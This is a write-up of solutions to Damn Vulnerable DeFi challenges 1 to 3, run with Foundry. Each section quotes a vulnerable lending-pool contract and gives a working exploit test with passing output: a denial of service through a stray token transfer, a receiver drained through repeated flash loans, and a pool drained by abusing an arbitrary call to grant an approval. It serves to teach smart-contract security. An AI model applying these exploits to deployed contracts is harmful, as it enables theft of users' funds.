Damn Vulnerable Defi (Foundry) - #1-3

๏—ฌ 2023-04-16

About the DVDF and Foundry

Damn Vulnerable DeFi is the wargame to learn offensive security of DeFi smart contracts in Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart contract wallets, timelocks, and more!

Shout-out to @tinchoabbate for creating the original version of DVDF. If you prefer to use hardhat, check out the original repository. these posts are following this version of the DVDF project. Foundry is a toolkit for ethereum application development written in Rust. And it’s fun to use solidity to write tests.

Challenge #1 - Unstoppable

There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans …

You start with 100 DVT tokens in balance.

See the contracts Complete the challenge

Attack

Two main concepts that introduced here are:

  • Flash loans

Flash Loans are special transactions that allow the borrowing of an asset, as long as the borrowed amount (and a fee) is returned before the end of the transaction (also called One Block Borrows). These transactions do not require a user to supply collateral prior to engaging in the transaction.1

  • Lending pools

Lending pools are decentralized applications which allow mutually untrusted users to lend and borrow crypto-assets. 2 Users can lend assets to a LP by transferring tokens from their accounts to the LP. In return, they receive a claim, represented as tokens minted by the LP, which can later be redeemed for an equal or increased amount of tokens, of the same token type of the original deposit. 2

Also maybe DoS, since the chall description says stop the pool from offering flash loans.

Function flashLoan expects that the poolBalance value is equal to the DVT balance of the UnstoppableLender.

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        if (borrowAmount == 0) revert MustBorrowOneTokenMinimum();

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

        // Ensured by the protocol via the `depositTokens` function
        if (poolBalance != balanceBefore) revert AssertionViolated();

        damnValuableToken.transfer(msg.sender, borrowAmount);

        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
    }

The poolBalance is only affected when depositToken is called.

function depositTokens(uint256 amount) external nonReentrant {
        if (amount == 0) revert MustDepositOneTokenMinimum();
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

The issue here is, the lender has two different storage locations that are expected to be holding the records for the pool balance (and expected to be equal too ๐Ÿ„) :

  • damnValuableToken.balanceOf(poolAddress) -standard function-
  • poolBalance

DVT balance of the pool can be changed with an usual ERC20 transfer to the poolAddress. Which means, after any standart ERC20 transfer to the unstoppableLender, flashLoan function will revert with AssertionViolated for any other call to the flashLoan.

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        dvt.transfer(address(unstoppableLender), 1);
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
        validation();
        console.log(unicode"\n๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰");
    }
โฏ make Unstoppable
forge test --match-test testExploit --match-contract Unstoppable
[โ ฐ] Compiling...
[โ ‘] Compiling 1 files with 0.8.17
[โ ƒ] Solc 0.8.17 finished in 1.30s
Compiler run successful

Running 1 test for test/Levels/unstoppable/Unstoppable.t.sol:Unstoppable
[PASS] testExploit() (gas: 48401)
Logs:
  ๐Ÿงจ Let's see if you can break it... ๐Ÿงจ
  
๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰

Test result: ok. 1 passed; 0 failed; finished in 5.27ms

Challenge #2 - Naive Receiver

There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.

You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.

Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ๐Ÿ˜‰

See the contracts Complete the challenge

Attack

NaiveReceiverLenderPool’s flashLoan function takes a borrower address as an argument so a caller can abuse it to make another contract to borrow from the pool, as long as the passed address has the function signature3 receiveEther(uint256) and enough ETH balance.

function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
        uint256 balanceBefore = address(this).balance;
        if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
        if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();

        // Transfer ETH and handle control to receiver
        borrower.functionCallWithValue(abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE), borrowAmount);

        if (address(this).balance < balanceBefore + FIXED_FEE) {
            revert FlashLoanHasNotBeenPaidBack();
        }
    }

Contract implementation has fixed fee, it’ll take 1 ether for each flashLoan. ๐Ÿ’ฐ๐Ÿ’ฐ๐Ÿ’ฐ

uint256 private constant FIXED_FEE = 1 ether;

flashLoanReceiver is the contract instance mentioned in the chall description. Only function that receiver contains and is also called by the Lender (an instance of NaiveReceiverLenderPool in this case), handles the flashLoan process.

  • Receives ether sent and the fee amount specified by the pool.
  • Executes any action specified by the deployer (_executeActionDuringFlashLoan).
  • Sends/transfers the lent amount plus the fee back to the lender.
function receiveEther(uint256 fee) public payable {
        if (msg.sender != pool) revert SenderMustBePool();

        uint256 amountToBeRepaid = msg.value + fee;

        if (address(this).balance < amountToBeRepaid) {
            revert CannotBorrowThatMuch();
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        pool.sendValue(amountToBeRepaid);
    }

And yeah, this means that you can drain the FlashLoanReceiver contract 1 ether at a time. ๐Ÿค 

Adding just a little bit of visual for that drain process:

t flashLoan arg balance before balance after
0 9 10 9
1 8 9 8
2 7 8 7
10 0 1 0

Loop the function flashLoan till receiver is broke. ๐Ÿ“‰๐Ÿ“‰๐Ÿ“‰

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        for (uint256 i = 10; i > 0; i--) {
            naiveReceiverLenderPool.flashLoan(address(flashLoanReceiver), (i - 1) * 1 ether);
        }
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰");
    }

The (i-1) is just because of the loop’s control mechanism (Since the loop is using uint, it’ll throw an overflow/underflow error if it checks against 0--).

โฏ make NaiveReceiver
forge test --match-test testExploit --match-contract NaiveReceiver
[โ †] Compiling...
[โ ฐ] Compiling 1 files with 0.8.17
[โ ’] Solc 0.8.17 finished in 1.03s
Compiler run successful

Running 1 test for test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 188185)
Logs:
  ๐Ÿงจ Let's see if you can break it... ๐Ÿงจ
  
๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰

Test result: ok. 1 passed; 0 failed; finished in 1.17ms

Challenge #3 - Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don’t worry, you might be able to take them all from the pool. In a single transaction. See the contracts Complete the challenge

Attack

This is pretty straight forward, and code is also very similar to the first challenge. Description tells that there’s a free flash loan option in the lending pool, so the goal is stealing those funds. Function flashLoan() lets the caller to specify a target instance and a function to call from that instance.

Requirements are (specified in the ):

  1. Must borrow less than the current balance of the pool, and balanceBefore must not be lower than balanceAfter. This either might be an overflow/underflow like situation4 or a legit transfer.
  2. Must drain the pool with that function call.
  3. Must return the borrow to complete the flashLoan.
  4. Must finish all of these in a single transaction.
function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();

        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
    }

Since this attack must be done in a single transaction, and the attacker has one extra function call, it looks like it’s not possible to drain and return. But the thing is… you don’t have to loan at all ๐Ÿค  so you don’t have to return anything, just borrow 0 ether contract is not checking the borrow amount. (this assures {balanceBefore < borrowAmount} and {balanceAfter < balanceBefore} right ๐Ÿคก).

To drain, attacker approves all of the tokens in the pool in the functionCall, because this contract is executing a call using a passed value (4th parameter on the flashLoan func). dvt.transferFrom called to transfer all of those tokens from pool to attacker wallet, by attacker since it’s approved already.

Some kind of encoding is required because we have to pass bytecode. There are 2 easy methods for passing these5 :

  • abi.encodeWithSelector()
  • abi.encodeWithSignature()
    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        bytes memory funcCallSig =
            abi.encodeWithSignature("approve(address,uint256)", address(attacker), TOKENS_IN_POOL);
        trusterLenderPool.flashLoan(0, address(attacker), address(dvt), funcCallSig);
        dvt.transferFrom(address(trusterLenderPool), address(attacker), TOKENS_IN_POOL);
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰");
    }
โฏ make Truster
forge test --match-test testExploit --match-contract Truster
[โ †] Compiling...
[โ ’] Compiling 1 files with 0.8.17
[โ ˜] Solc 0.8.17 finished in 1.25s
Compiler run successful

Running 1 test for test/Levels/truster/Truster.t.sol:Truster
[PASS] testExploit() (gas: 69301)
Logs:
  ๐Ÿงจ Let's see if you can break it... ๐Ÿงจ
  
๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰

Test result: ok. 1 passed; 0 failed; finished in 1.13ms

  1. Quoted from: https://docs.aave.com/developers/guides/flash-loans ↩︎

  2. Also quoted from: https://arxiv.org/pdf/2012.13230.pdf ↩︎ ↩︎

  3. is defined as the canonical expression of the basic prototype, i.e. the function name with the parenthesised list of parameter types. read more on : https://docs.soliditylang.org/en/v0.4.21/abi-spec.html#function-selector ↩︎

  4. it’s not ๐Ÿคก ↩︎

  5. about data locations in solidity https://solidity-by-example.org/data-locations/ . this post is nice to read also https://coinsbench.com/solidity-tutorial-all-about-abi-46da8b517e7 ↩︎



more posts like this